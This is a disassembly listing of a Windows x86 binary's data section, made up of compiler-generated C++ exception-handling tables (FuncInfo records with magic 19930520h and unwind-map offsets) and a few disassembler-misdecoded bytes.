dword_43F758	dd 19930520h, 1, 43F778h, 5 dup(0)		dd 0FFFFFFFFh, 438FF0h,	2 dup(0)
dword_43F788	dd 19930520h, 7, 43F7A8h, 5 dup(0)		dd 0FFFFFFFFh, 439010h,	0
		dd offset loc_439018
		dd 0FFFFFFFFh, 439020h,	0FFFFFFFFh, 439028h, 3,	439030h
		dd 4, 439038h, 0FFFFFFFFh, 439040h, 2 dup(0)
dword_43F7E8	dd 19930520h, 24h, 43F808h, 5 dup(0)		dd 0FFFFFFFFh, 439070h,	0
		dd offset loc_439078
		dd 1, 439083h, 2, 43908Eh, 3, 439099h, 4, 4390A7h, 5, 4390B5h
		dd 6, 4390C3h, 7, 4390D1h, 8, 4390DFh, 9, 4390EDh, 0Ah
		dd 4390FBh, 0Bh, 439109h, 0Ch, 439117h,	0Dh, 439125h, 0Eh
		dd 439133h, 0Fh, 439141h, 10h, 43914Fh,	11h, 43915Dh, 11h
		dd 439165h, 11h, 43916Dh, 11h, 439175h,	11h, 43917Dh, 11h
		dd 439185h, 11h, 43918Dh, 11h, 439195h,	11h, 43919Dh, 11h
		dd 4391A5h, 11h, 4391ADh, 11h, 4391B5h,	11h, 4391BDh, 11h
		dd 4391C5h, 11h, 4391CDh, 11h, 4391D5h,	11h, 4391DDh, 11h
		dd 4391E5h, 8 dup(0)
dword_43F948	dd 19930520h, 11h, 43F968h, 5 dup(0)		dd 0FFFFFFFFh, 439260h,	0
		dd offset loc_439268
		dd 1, 439273h, 2, 43927Eh, 3, 439289h, 4, 439297h, 5, 4392A5h
		dd 6, 4392B3h, 7, 4392C1h, 8, 4392CFh, 9, 4392DDh, 0Ah
		dd 4392EBh, 0Bh, 4392F9h, 0Ch, 439307h,	0Dh, 439315h, 0Eh
		dd 439323h, 0Fh, 439331h, 4 dup(0)
dword_43FA00	dd 19930520h, 38h, 43FA20h, 5 dup(0)		dd 0FFFFFFFFh, 439390h,	0
		dd offset loc_43939B
		dd 1, 4393A6h, 0
		dd offset loc_4393B1
		dd 0
		dd offset loc_4393BC
		dd 0
		dd offset loc_4393C7
		dd 0
		dd offset loc_4393D2
		dd 0
		dd offset loc_4393DD
		dd 0
		dd offset loc_4393E8
		dd 0
		dd offset loc_4393F3
		dd 9, 4393FEh, 0
		dd offset loc_439409
		dd 0
		dd offset loc_439414
		dd 0
		dd offset loc_43941F
		dd 0
		dd offset loc_43942A
		dd 0Eh,	439435h, 0Eh, 439443h, 0Eh, 439451h, 0Eh, 43945Ch
		dd 0Eh,	43946Ah, 0Eh, 439478h, 0Eh, 439483h, 0Eh, 43948Eh
		dd 0
		dd offset loc_439499
		dd 0
		dd offset loc_4394A4
		dd 0
		dd offset loc_4394B2
		dd 0
; ---------------------------------------------------------------------------
		rcl	byte ptr [ebx+eax*2+1A00h], 0
		retf
; ---------------------------------------------------------------------------
		db 94h,	43h, 0
		dd 1Bh,	4394D6h, 0
		dd offset loc_4394E1
		dd 1Dh,	4394ECh, 0
		dd offset loc_4394F7
		dd 1Fh,	439502h, 0
		dd offset loc_43950D
		dd 0
		dd offset loc_439518
		dd 0
		dd offset loc_439523
		dd 0
		dd offset loc_43952E
		dd 0
		dd offset loc_439539
		dd 25h,	439544h, 26h, 43954Fh, 0
		dd offset loc_43954F
		dd 28h,	439544h, 0
		dd offset loc_43955A
		dd 0
		dd offset loc_439565
		dd 2Bh,	439570h, 2Ch, 43957Bh, 0
		dd offset loc_43957B
		dd 2Eh,	439570h, 2Eh, 439586h, 0
		dd offset loc_439591
		dd 31h,	43959Ch, 0
		dd offset loc_4395A7
		dd 0
		dd offset loc_4395B2
		dd 34h,	4395BDh, 35h, 4395C8h, 34h, 4395C8h, 0Ch dup(0)
dword_43FC10	dd 19930520h, 1, 43FC30h, 5 dup(0)		dd 0FFFFFFFFh, 439670h,	2 dup(0)
dword_43FC40	dd 19930520h, 1, 43FC60h, 5 dup(0)		dd 0FFFFFFFFh, 439690h,	2 dup(0)
dword_43FC70	dd 19930520h, 6, 43FC90h, 5 dup(0)		dd 0FFFFFFFFh, 4396B0h,	0
		dd offset loc_4396B8
		dd 1, 4396C3h, 2, 4396CEh, 3, 4396D9h, 4, 4396E4h, 2 dup(0)
dword_43FCC8	dd 19930520h, 6, 43FCE8h, 5 dup(0)		dd 0FFFFFFFFh, 439710h,	0
		dd offset loc_439718
		dd 1, 439723h, 2, 43972Eh, 3, 439739h, 4, 439744h, 2 dup(0)
dword_43FD20	dd 19930520h, 0Ah, 43FD40h, 5 dup(0)		dd 0FFFFFFFFh, 439770h,	0FFFFFFFFh, 439778h, 0FFFFFFFFh
		dd 439780h, 0FFFFFFFFh,	439788h, 0FFFFFFFFh, 439790h, 0FFFFFFFFh
		dd 439798h, 0FFFFFFFFh,	4397A0h, 0FFFFFFFFh, 4397A8h, 0FFFFFFFFh
		dd 4397B0h, 0FFFFFFFFh,	4397B8h, 4 dup(0)
dword_43FDA0	dd 19930520h, 0Eh, 43FDC0h, 5 dup(0)		dd 0FFFFFFFFh, 4397E0h,	0
		dd offset loc_4397E8
		dd 0FFFFFFFFh, 4397F3h,	0FFFFFFFFh, 4397FBh, 0FFFFFFFFh
		dd 439803h, 0FFFFFFFFh,	43980Bh, 5, 439816h, 0FFFFFFFFh
		dd 43981Eh, 0FFFFFFFFh,	439826h, 0FFFFFFFFh, 43982Eh, 9
		dd 439839h, 0FFFFFFFFh,	439841h, 0Bh, 439849h, 0Ch, 439851h
		dd 4 dup(0)
dword_43FE40	dd 19930520h, 2, 43FE60h, 5 dup(0)		dd 0FFFFFFFFh, 439898h,	0
		dd offset loc_439890
		dd 2 dup(0)
dword_43FE78	dd 19930520h, 2, 43FE98h, 5 dup(0)		dd 0FFFFFFFFh, 4398D0h,	0
		dd offset loc_4398D8
		align 10h
dword_43FEB0	dd 19930520h, 1, 43FED0h, 5 dup(0)		dd 0FFFFFFFFh, 4398F0h,	2 dup(0)
dword_43FEE0	dd 19930520h, 7, 43FF00h, 5 dup(0)		dd 0FFFFFFFFh, 439910h,	0
		dd offset loc_439918
		dd 1, 439923h, 2, 43992Eh, 2, 439936h, 4, 43993Eh, 5, 439946h
		dd 2 dup(0)
dword_43FF40	dd 19930520h, 4, 43FF60h, 5 dup(0)		dd 0FFFFFFFFh, 439970h,	0
		dd offset loc_43997B
		dd 1, 439986h, 2, 439991h, 2 dup(0)
dword_43FF88	dd 19930520h, 4, 43FFA8h, 5 dup(0)		dd 0FFFFFFFFh, 4399C0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 99h,	43h, 0
		dd 1, 4399D6h, 2, 4399E1h, 2 dup(0)
dword_43FFD0	dd 19930520h, 2, 43FFF0h, 5 dup(0)		dd 0FFFFFFFFh, 439A10h,	0FFFFFFFFh, 439A18h, 2 dup(0)
dword_440008	dd 19930520h, 1, 440028h, 5 dup(0)		dd 0FFFFFFFFh, 439A30h,	2 dup(0)
dword_440038	dd 19930520h, 1, 440058h, 5 dup(0)		dd 0FFFFFFFFh, 439A50h,	2 dup(0)
dword_440068	dd 19930520h, 2, 440088h, 5 dup(0)		dd 0FFFFFFFFh, 439A70h,	0
		dd offset loc_439A78
		align 10h
dword_4400A0	dd 19930520h, 3, 4400C0h, 5 dup(0)		dd 0FFFFFFFFh, 439A90h,	0
		dd offset loc_439A98
		dd 1, 439AA3h, 2 dup(0)
dword_4400E0	dd 19930520h, 3, 440100h, 5 dup(0)		dd 0FFFFFFFFh, 439AD0h,	0
		dd offset loc_439AD8
		dd 1, 439AE0h, 2 dup(0)
dword_440120	dd 19930520h, 1, 440140h, 5 dup(0)		dd 0FFFFFFFFh, 439B00h,	2 dup(0)
dword_440150	dd 19930520h, 4, 440170h, 5 dup(0)		dd 0FFFFFFFFh, 439B20h,	0
		dd offset loc_439B28
		dd 0
		dd offset loc_439B30
		dd 0
		dd offset loc_439B3B
		dd 2 dup(0)
dword_440198	dd 19930520h, 6, 4401B8h, 5 dup(0)		dd 0FFFFFFFFh, 439B60h,	0
		dd offset loc_439B68
		dd 1, 439B70h, 2, 439B78h, 3, 439B80h, 4, 439B88h, 2 dup(0)
dword_4401F0	dd 19930520h, 3, 440210h, 5 dup(0)		dd 0FFFFFFFFh, 439BB0h,	0
		dd offset loc_439BBB
		dd 1, 439BC6h, 2 dup(0)
dword_440230	dd 19930520h, 4, 440250h, 5 dup(0)		dd 0FFFFFFFFh, 439BF0h,	0
		dd offset loc_439BF8
		dd 1, 439C00h, 2, 439C08h, 2 dup(0)
dword_440278	dd 19930520h, 5, 440298h, 5 dup(0)		dd 0FFFFFFFFh, 439C30h,	0
		dd offset loc_439C38
		dd 1, 439C40h, 2, 439C48h, 3, 439C50h, 2 dup(0)
dword_4402C8	dd 19930520h, 4, 4402E8h, 5 dup(0)		dd 0FFFFFFFFh, 439C80h,	0
		dd offset loc_439C88
		dd 1, 439C93h, 2, 439C9Eh, 2 dup(0)
dword_440310	dd 19930520h, 3, 440330h, 5 dup(0)		dd 0FFFFFFFFh, 439CC0h,	0
		dd offset loc_439CC8
		dd 1, 439CD0h, 2 dup(0)
dword_440350	dd 19930520h, 1, 440370h, 5 dup(0)		dd 0FFFFFFFFh, 439CF0h,	2 dup(0)
dword_440380	dd 19930520h, 2, 4403A0h, 5 dup(0)		dd 0FFFFFFFFh, 439D10h,	0
		dd offset loc_439D18
		dd 2 dup(0)
dword_4403B8	dd 19930520h, 2, 4403D8h, 5 dup(0)		dd 0FFFFFFFFh, 439D30h,	0
		dd offset loc_439D38
		align 10h
dword_4403F0	dd 19930520h, 3, 440410h, 5 dup(0)		dd 0FFFFFFFFh, 439D50h,	0
		dd offset loc_439D5B
		dd 1, 439D66h, 2 dup(0)
dword_440430	dd 19930520h, 1, 440450h, 5 dup(0)		dd 0FFFFFFFFh, 439D90h,	2 dup(0)
dword_440460	dd 19930520h, 1, 440480h, 5 dup(0)		dd 0FFFFFFFFh, 439DB0h,	2 dup(0)
dword_440490	dd 19930520h, 4, 4404B0h, 5 dup(0)		dd 0FFFFFFFFh, 439DD0h,	0
		dd offset loc_439DD8
		dd 1, 439DE3h, 2, 439DEEh, 2 dup(0)
dword_4404D8	dd 19930520h, 7, 4404F8h, 5 dup(0)		dd 0FFFFFFFFh, 439E10h,	0FFFFFFFFh, 439E18h, 0FFFFFFFFh
		dd 439E20h, 2, 439E28h,	3, 439E30h, 4, 439E38h,	0FFFFFFFFh
		dd 439E40h, 2 dup(0)
dword_440538	dd 19930520h, 1Bh, 440558h, 5 dup(0)		dd 0FFFFFFFFh, 439E70h,	0
		dd offset loc_439E78
		dd 1, 439E83h, 2, 439E91h, 3, 439E9Fh, 4, 439EADh, 5, 439EBBh
		dd 6, 439EC9h, 7, 439ED7h, 8, 439EE5h, 9, 439EF3h, 0Ah
		dd 439F01h, 0Bh, 439F0Fh, 0Ch, 439F1Dh,	0Dh, 439F2Bh, 0Eh
		dd 439F39h, 0Fh, 439F47h, 10h, 439F55h,	11h, 439F63h, 12h
		dd 439F71h, 13h, 439F7Fh, 14h, 439F8Dh,	15h, 439F9Bh, 16h
		dd 439FA9h, 17h, 439FB7h, 18h, 439FC5h,	19h, 439FD3h, 6	dup(0)
dword_440648	dd 19930520h, 1Bh, 440668h, 5 dup(0)		dd 0FFFFFFFFh, 43A050h,	0
		dd offset loc_43A058
		dd 1, 43A063h, 2, 43A071h, 3, 43A07Fh, 4, 43A08Dh, 5, 43A09Bh
		dd 6, 43A0A9h, 7, 43A0B7h, 8, 43A0C5h, 9, 43A0D3h, 0Ah
		dd 43A0E1h, 0Bh, 43A0EFh, 0Ch, 43A0FDh,	0Dh, 43A10Bh, 0Eh
		dd 43A119h, 0Fh, 43A127h, 10h, 43A135h,	11h, 43A143h, 12h
		dd 43A151h, 13h, 43A15Fh, 14h, 43A16Dh,	15h, 43A17Bh, 16h
		dd 43A189h, 17h, 43A197h, 18h, 43A1A5h,	19h, 43A1B3h, 6	dup(0)
dword_440758	dd 19930520h, 1, 440778h, 5 dup(0)		dd 0FFFFFFFFh, 43A230h,	2 dup(0)
dword_440788	dd 19930520h, 3Dh, 4407A8h, 5 dup(0)		dd 0FFFFFFFFh, 43A250h,	0
		dd offset loc_43A25B
		dd 1, 43A266h, 2, 43A274h, 3, 43A282h, 4, 43A290h, 5, 43A29Eh
		dd 6, 43A2ACh, 7, 43A2BAh, 8, 43A2C8h, 9, 43A2D6h, 0Ah
		dd 43A2E4h, 0Bh, 43A2F2h, 0Ch, 43A300h,	0Dh, 43A30Eh, 0Eh
		dd 43A31Ch, 0Fh, 43A32Ah, 10h, 43A338h,	11h, 43A346h, 12h
		dd 43A354h, 13h, 43A362h, 14h, 43A370h,	15h, 43A37Eh, 16h
		dd 43A38Ch, 17h, 43A39Ah, 18h, 43A3A8h,	19h, 43A3B6h, 1Ah
		dd 43A3C4h, 1Bh, 43A3D2h, 1Ch, 43A3E0h,	1Dh, 43A3EEh, 1Eh
		dd 43A3FCh, 1Fh, 43A40Ah, 20h, 43A418h,	21h, 43A426h, 22h
		dd 43A434h, 23h, 43A442h, 24h, 43A450h,	25h, 43A45Eh, 26h
		dd 43A46Ch, 27h, 43A47Ah, 28h, 43A488h,	29h, 43A496h, 2Ah
		dd 43A4A4h, 2Bh, 43A4B2h, 2Ch, 43A4C0h,	2Dh, 43A4CEh, 2Eh
		dd 43A4DCh, 2Fh, 43A4EAh, 30h, 43A4F8h,	31h, 43A506h, 32h
		dd 43A514h, 33h, 43A522h, 34h, 43A530h,	35h, 43A53Eh, 36h
		dd 43A54Ch, 37h, 43A55Ah, 38h, 43A568h,	39h, 43A576h, 3Ah
		dd 43A584h, 3Bh, 43A592h, 0Eh dup(0)
dword_4409C8	dd 19930520h, 4, 4409E8h, 5 dup(0)		dd 0FFFFFFFFh, 43A680h,	0
		dd offset loc_43A68B
		dd 1, 43A696h, 2, 43A6A1h, 2 dup(0)
dword_440A10	dd 19930520h, 6, 440A30h, 5 dup(0)		dd 0FFFFFFFFh, 43A6D0h,	0
		dd offset loc_43A6DB
		dd 1, 43A6E6h, 2, 43A6F1h, 3, 43A6FFh, 4, 43A70Dh, 2 dup(0)
dword_440A68	dd 19930520h, 4, 440A88h, 5 dup(0)		dd 0FFFFFFFFh, 43A740h,	0
		dd offset loc_43A74E
		dd 1, 43A75Ch, 2, 43A76Ah, 2 dup(0)
dword_440AB0	dd 19930520h, 5, 440AD0h, 5 dup(0)		dd 0FFFFFFFFh, 43A7A0h,	0
		dd offset loc_43A7AB
		dd 1, 43A7B6h, 2, 43A7C1h, 3, 43A7CFh, 2 dup(0)
dword_440B00	dd 19930520h, 5, 440B20h, 5 dup(0)		dd 0FFFFFFFFh, 43A800h,	0
		dd offset loc_43A80B
		dd 1, 43A816h, 2, 43A821h, 3, 43A82Fh, 2 dup(0)
dword_440B50	dd 19930520h, 1, 440B70h, 5 dup(0)		dd 0FFFFFFFFh, 43A860h,	2 dup(0)
dword_440B80	dd 19930520h, 1, 440BA0h, 5 dup(0)		dd 0FFFFFFFFh, 43A880h,	2 dup(0)
dword_440BB0	dd 19930520h, 1, 440BD0h, 5 dup(0)		dd 0FFFFFFFFh, 43A8A0h,	2 dup(0)
dword_440BE0	dd 19930520h, 2, 440C00h, 5 dup(0)		dd 0FFFFFFFFh, 43A8C0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 43h, 0
		dd 2 dup(0)
dword_440C18	dd 19930520h, 4, 440C38h, 5 dup(0)		dd 0FFFFFFFFh, 43A8F0h,	0
		dd offset loc_43A8FB
		dd 1, 43A906h, 2, 43A911h, 2 dup(0)
dword_440C60	dd 19930520h, 4, 440C80h, 5 dup(0)		dd 0FFFFFFFFh, 43A940h,	0
		dd offset loc_43A94B
		dd 1, 43A956h, 2, 43A961h, 2 dup(0)
dword_440CA8	dd 19930520h, 6, 440CC8h, 5 dup(0)		dd 0FFFFFFFFh, 43A990h,	0
		dd offset loc_43A99B
		dd 1, 43A9A6h, 2, 43A9B1h, 3, 43A9BFh, 4, 43A9CDh, 2 dup(0)
dword_440D00	dd 19930520h, 4, 440D20h, 5 dup(0)		dd 0FFFFFFFFh, 43AA00h,	0
		dd offset loc_43AA0E
		dd 1, 43AA1Ch, 2, 43AA2Ah, 2 dup(0)
dword_440D48	dd 19930520h, 5, 440D68h, 5 dup(0)		dd 0FFFFFFFFh, 43AA60h,	0
		dd offset loc_43AA6B
		dd 1, 43AA76h, 2, 43AA81h, 3, 43AA8Fh, 2 dup(0)
dword_440D98	dd 19930520h, 5, 440DB8h, 5 dup(0)		dd 0FFFFFFFFh, 43AAC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0AAh, 43h, 0
		dd 1, 43AAD6h, 2, 43AAE1h, 3, 43AAEFh, 2 dup(0)
dword_440DE8	dd 19930520h, 1, 440E08h, 5 dup(0)		dd 0FFFFFFFFh, 43AB20h,	2 dup(0)
dword_440E18	dd 19930520h, 1, 440E38h, 5 dup(0)		dd 0FFFFFFFFh, 43AB40h,	2 dup(0)
dword_440E48	dd 19930520h, 1, 440E68h, 5 dup(0)		dd 0FFFFFFFFh, 43AB60h,	2 dup(0)
dword_440E78	dd 19930520h, 2, 440E98h, 5 dup(0)		dd 0FFFFFFFFh, 43AB80h,	0
		dd offset loc_43AB8B
		align 10h
dword_440EB0	dd 19930520h, 4, 440ED0h, 5 dup(0)		dd 0FFFFFFFFh, 43ABB0h,	0
		dd offset loc_43ABBB
		dd 1, 43ABC6h, 2, 43ABD1h, 2 dup(0)
dword_440EF8	dd 19930520h, 1, 440F18h, 5 dup(0)		dd 0FFFFFFFFh, 43AC00h,	2 dup(0)
dword_440F28	dd 19930520h, 2, 440F48h, 5 dup(0)		dd 0FFFFFFFFh, 43AC20h,	0
		dd offset loc_43AC2B
		align 10h
dword_440F60	dd 19930520h, 1, 440F80h, 5 dup(0)		dd 0FFFFFFFFh, 43AC50h,	2 dup(0)
dword_440F90	dd 19930520h, 1, 440FB0h, 5 dup(0)		dd 0FFFFFFFFh, 43AC70h,	2 dup(0)
dword_440FC0	dd 19930520h, 2, 440FE0h, 5 dup(0)		dd 0FFFFFFFFh, 43AC90h,	0
		dd offset loc_43AC9B
		dd 2 dup(0)
dword_440FF8	dd 19930520h, 1, 441018h, 5 dup(0)		dd 0FFFFFFFFh, 43ACC0h,	2 dup(0)
dword_441028	dd 19930520h, 3, 441048h, 5 dup(0)		dd 0FFFFFFFFh, 43ACE0h,	0
		dd offset loc_43ACF7
		dd 1, 43ACFFh, 2 dup(0)
dword_441068	dd 19930520h, 1, 441088h, 5 dup(0)		dd 0FFFFFFFFh, 43AD20h,	2 dup(0)
dword_441098	dd 19930520h, 4, 4410B8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD48h,	0
		dd offset sub_43AD40
		dd 0
		dd offset loc_43AD5F
		dd 2, 43AD67h, 2 dup(0)
dword_4410E0	dd 19930520h, 6, 441100h, 5 dup(0)		dd 0FFFFFFFFh, 43AD90h,	0FFFFFFFFh, 43AD98h, 0FFFFFFFFh
		dd 43ADA0h, 0FFFFFFFFh,	43ADA8h, 0FFFFFFFFh, 43ADB0h, 0FFFFFFFFh
		dd 43ADB8h, 2 dup(0)
dword_441138	dd 19930520h, 1Ah, 441158h, 5 dup(0)		dd 0FFFFFFFFh, 43ADE0h,	0
		dd offset loc_43ADEB
		dd 1, 43ADF6h, 2, 43AE01h, 3, 43AE0Ch, 4, 43AE17h, 5, 43AE1Fh
		dd 5, 43AE2Ah, 5, 43AE35h, 5, 43AE43h, 5, 43AE4Eh, 5, 43AE59h
		dd 5, 43AE67h, 5, 43AE72h, 5, 43AE7Dh, 5, 43AE88h, 5, 43AE96h
		dd 5, 43AEA1h, 5, 43AEACh, 5, 43AEBAh, 5, 43AEC5h, 5, 43AED0h
		dd 5, 43AEDEh, 5, 43AEE9h, 5, 43AEF4h, 5, 43AEFFh, 6 dup(0)
dword_441240	dd 19930520h, 4, 441260h, 5 dup(0)		dd 0FFFFFFFFh, 43AF70h,	0
		dd offset loc_43AF78
		dd 1, 43AF83h, 2, 43AF8Eh, 2 dup(0)
dword_441288	dd 19930520h, 4, 4412A8h, 5 dup(0)		dd 0FFFFFFFFh, 43AFB0h,	0
		dd offset loc_43AFB8
		dd 1, 43AFC3h, 2, 43AFCEh, 2 dup(0)
dword_4412D0	dd 19930520h, 6, 4412F0h, 5 dup(0)		dd 0FFFFFFFFh, 43AFF0h,	0
		dd offset loc_43AFF8
		dd 1, 43B003h, 2, 43B00Eh, 3, 43B019h, 4, 43B024h, 2 dup(0)
dword_441328	dd 19930520h, 6, 441348h, 5 dup(0)		dd 0FFFFFFFFh, 43B050h,	0
		dd offset loc_43B058
		dd 1, 43B063h, 2, 43B06Eh, 3, 43B079h, 4, 43B084h, 2 dup(0)
dword_441380	dd 19930520h, 6, 4413A0h, 5 dup(0)		dd 0FFFFFFFFh, 43B0B0h,	0FFFFFFFFh, 43B0BBh, 0FFFFFFFFh
		dd 43B0C6h, 2, 43B0D1h,	3, 43B0DCh, 2, 43B0E7h,	2 dup(0)
dword_4413D8	dd 19930520h, 3, 4413F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B110h,	0FFFFFFFFh, 43B118h, 0FFFFFFFFh
		dd 43B120h, 2 dup(0)
dword_441418	dd 19930520h, 5, 441438h, 5 dup(0)		dd 0FFFFFFFFh, 43B140h,	0FFFFFFFFh, 43B148h, 0FFFFFFFFh
		dd 43B150h, 0FFFFFFFFh,	43B158h, 0FFFFFFFFh, 43B160h, 2	dup(0)
dword_441468	dd 19930520h, 0Ch, 441488h, 5 dup(0)		dd 0FFFFFFFFh, 43B180h,	0
		dd offset loc_43B188
		dd 0FFFFFFFFh, 43B190h,	0FFFFFFFFh, 43B198h, 0FFFFFFFFh
		dd 43B1A0h, 0FFFFFFFFh,	43B1A8h, 5, 43B1B0h, 0FFFFFFFFh
		dd 43B1B8h, 0FFFFFFFFh,	43B1C0h, 0FFFFFFFFh, 43B1C8h, 0FFFFFFFFh
		dd 43B1D0h, 0FFFFFFFFh,	43B1D8h, 4 dup(0)
dword_4414F8	dd 19930520h, 2, 441518h, 1, 441528h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441540h, 4	dup(0)
		dd offset loc_41EE2C
		dd 2 dup(0)
dword_441558	dd 19930520h, 0Ah, 441578h, 5 dup(0)		dd 0FFFFFFFFh, 43B220h,	0
		dd offset loc_43B22B
		dd 1, 43B236h, 2, 43B241h, 3, 43B24Ch, 3, 43B257h, 3, 43B262h
		dd 3, 43B26Dh, 3, 43B278h, 3, 43B283h, 4 dup(0)
dword_4415D8	dd 19930520h, 2, 4415F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B2C0h,	0
		dd offset loc_43B2C8
		align 10h
dword_441610	dd 19930520h, 3, 441630h, 5 dup(0)		dd 0FFFFFFFFh, 43B2E0h,	0FFFFFFFFh, 43B2EBh, 1,	43B2F6h
		dd 2 dup(0)
dword_441650	dd 19930520h, 1, 441670h, 5 dup(0)		dd 0FFFFFFFFh, 43B320h,	2 dup(0)
dword_441680	dd 19930520h, 2, 4416A0h, 5 dup(0)		dd 0FFFFFFFFh, 43B340h,	0
		dd offset loc_43B34B
		dd 2 dup(0)
dword_4416B8	dd 19930520h, 16h, 4416D8h, 5 dup(0)		dd 0FFFFFFFFh, 43B370h,	0
		dd offset loc_43B37B
		dd 0
		dd offset loc_43B383
		dd 0
		dd offset loc_43B38B
		dd 3, 43B393h, 4, 43B39Bh, 0
		dd offset loc_43B3A3
		dd 6, 43B3ABh, 7, 43B3B3h, 0
		dd offset loc_43B3BB
		dd 9, 43B3C3h, 0Ah, 43B3CBh, 0
		dd offset loc_43B3D3
		dd 0Ch,	43B3DBh, 0Dh, 43B3E3h, 0
		dd offset loc_43B3EB
		dd 0Fh,	43B3F3h, 0
		dd offset loc_43B3FB
		dd 11h,	43B403h, 0
		dd offset loc_43B40B
		dd 13h,	43B413h, 13h, 43B41Bh, 6 dup(0)
dword_4417A0	dd 19930520h, 1, 4417C0h, 5 dup(0)		dd 0FFFFFFFFh, 43B460h,	2 dup(0)
dword_4417D0	dd 19930520h, 1, 4417F0h, 5 dup(0)		dd 0FFFFFFFFh, 43B490h,	2 dup(0)
dword_441800	dd 19930520h, 5, 441820h, 5 dup(0)		dd 0FFFFFFFFh, 43B4C0h,	0FFFFFFFFh, 43B4C8h, 0FFFFFFFFh
		dd 43B4D0h, 0FFFFFFFFh,	43B4D8h, 0FFFFFFFFh, 43B4E0h, 2	dup(0)
dword_441850	dd 19930520h, 0Bh, 441870h, 5 dup(0)		dd 0FFFFFFFFh, 43B500h,	0FFFFFFFFh, 43B50Bh, 0FFFFFFFFh
		dd 43B521h, 0FFFFFFFFh,	43B52Ch, 0FFFFFFFFh, 43B537h, 0FFFFFFFFh
		dd 43B542h, 0FFFFFFFFh,	43B54Dh, 0FFFFFFFFh, 43B558h, 0FFFFFFFFh
		dd 43B563h, 0FFFFFFFFh,	43B56Eh, 0FFFFFFFFh, 43B516h, 4	dup(0)
dword_4418D8	dd 19930520h, 5, 4418F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B5B0h,	0FFFFFFFFh, 43B5B8h, 0FFFFFFFFh
		dd 43B5C0h, 0FFFFFFFFh,	43B5C8h, 0FFFFFFFFh, 43B5D0h, 2	dup(0)
dword_441928	dd 19930520h, 15h, 441948h, 5 dup(0)		dd 0FFFFFFFFh, 43B5F0h,	0FFFFFFFFh, 43B5FBh, 0FFFFFFFFh
		dd 43B603h, 0FFFFFFFFh,	43B60Bh, 0FFFFFFFFh, 43B613h, 0FFFFFFFFh
		dd 43B61Bh, 0FFFFFFFFh,	43B626h, 0FFFFFFFFh, 43B62Eh, 0FFFFFFFFh
		dd 43B636h, 0FFFFFFFFh,	43B63Eh, 0FFFFFFFFh, 43B646h, 0FFFFFFFFh
		dd 43B651h, 0FFFFFFFFh,	43B659h, 0FFFFFFFFh, 43B661h, 0FFFFFFFFh
		dd 43B669h, 0FFFFFFFFh,	43B671h, 0FFFFFFFFh, 43B67Ch, 0FFFFFFFFh
		dd 43B684h, 0FFFFFFFFh,	43B68Ch, 0FFFFFFFFh, 43B694h, 0FFFFFFFFh
		dd 43B69Ch, 6 dup(0)
dword_441A08	dd 19930520h, 1, 441A28h, 5 dup(0)		dd 0FFFFFFFFh, 43B6E0h,	2 dup(0)
dword_441A38	dd 19930520h, 5, 441A58h, 5 dup(0)		dd 0FFFFFFFFh, 43B700h,	0
		dd offset loc_43B708
		dd 1, 43B713h, 2, 43B71Eh, 3, 43B729h, 2 dup(0)
dword_441A88	dd 19930520h, 5, 441AA8h, 5 dup(0)		dd 0FFFFFFFFh, 43B750h,	0
		dd offset loc_43B758
		dd 1, 43B763h, 2, 43B76Eh, 3, 43B779h, 2 dup(0)
dword_441AD8	dd 19930520h, 1, 441AF8h, 5 dup(0)		dd 0FFFFFFFFh, 43B7A0h,	2 dup(0)
dword_441B08	dd 19930520h, 1, 441B28h, 5 dup(0)		dd 0FFFFFFFFh, 43B7C0h,	2 dup(0)
dword_441B38	dd 19930520h, 1, 441B58h, 5 dup(0)		dd 0FFFFFFFFh, 43B7E0h,	2 dup(0)
dword_441B68	dd 19930520h, 1, 441B88h, 5 dup(0)		dd 0FFFFFFFFh, 43B800h,	2 dup(0)
dword_441B98	dd 19930520h, 1, 441BB8h, 5 dup(0)		dd 0FFFFFFFFh, 43B820h,	2 dup(0)
dword_441BC8	dd 19930520h, 1, 441BE8h, 5 dup(0)		dd 0FFFFFFFFh, 43B840h,	2 dup(0)
dword_441BF8	dd 19930520h, 1, 441C18h, 5 dup(0)		dd 0FFFFFFFFh, 43B860h,	2 dup(0)
dword_441C28	dd 19930520h, 1, 441C48h, 5 dup(0)		dd 0FFFFFFFFh, 43B880h,	2 dup(0)
dword_441C58	dd 19930520h, 6, 441C78h, 5 dup(0)		dd 0FFFFFFFFh, 43B8A0h,	0
		dd offset loc_43B8A8
		dd 1, 43B8B3h, 2, 43B8BEh, 3, 43B8C9h, 4, 43B8D4h, 2 dup(0)
dword_441CB0	dd 19930520h, 6, 441CD0h, 5 dup(0)		dd 0FFFFFFFFh, 43B900h,	0
		dd offset loc_43B908
		dd 1, 43B913h, 2, 43B91Eh, 3, 43B929h, 4, 43B934h, 2 dup(0)
dword_441D08	dd 19930520h, 3, 441D28h, 5 dup(0)		dd 0FFFFFFFFh, 43B960h,	0
		dd offset loc_43B968
		dd 1, 43B976h, 2 dup(0)
dword_441D48	dd 19930520h, 16h, 441D68h, 5 dup(0)		dd 0FFFFFFFFh, 43B9A0h,	0
		dd offset loc_43B9AB
		dd 1, 43B9B6h, 2, 43B9C1h, 2, 43B9CCh, 2, 43B9D7h, 2, 43B9E2h
		dd 6, 43B9EDh, 2, 43B9F8h, 8, 43BA03h, 2, 43BA0Eh, 0Ah
		dd 43BA19h, 2, 43BA24h,	0Ch, 43BA2Fh, 0Dh, 43BA3Ah, 0Eh
		dd 43BA45h, 0Fh, 43BA50h, 0Fh, 43BA5Bh,	0Fh, 43BA66h, 0Fh
		dd 43BA71h, 0Fh, 43BA7Ch, 0Fh, 43BA87h,	6 dup(0)
dword_441E30	dd 19930520h, 1, 441E50h, 5 dup(0)		dd 0FFFFFFFFh, 43BAE0h,	2 dup(0)
dword_441E60	dd 19930520h, 1, 441E80h, 5 dup(0)		dd 0FFFFFFFFh, 43BB00h,	2 dup(0)
dword_441E90	dd 19930520h, 1, 441EB0h, 5 dup(0)		dd 0FFFFFFFFh, 43BB20h,	2 dup(0)
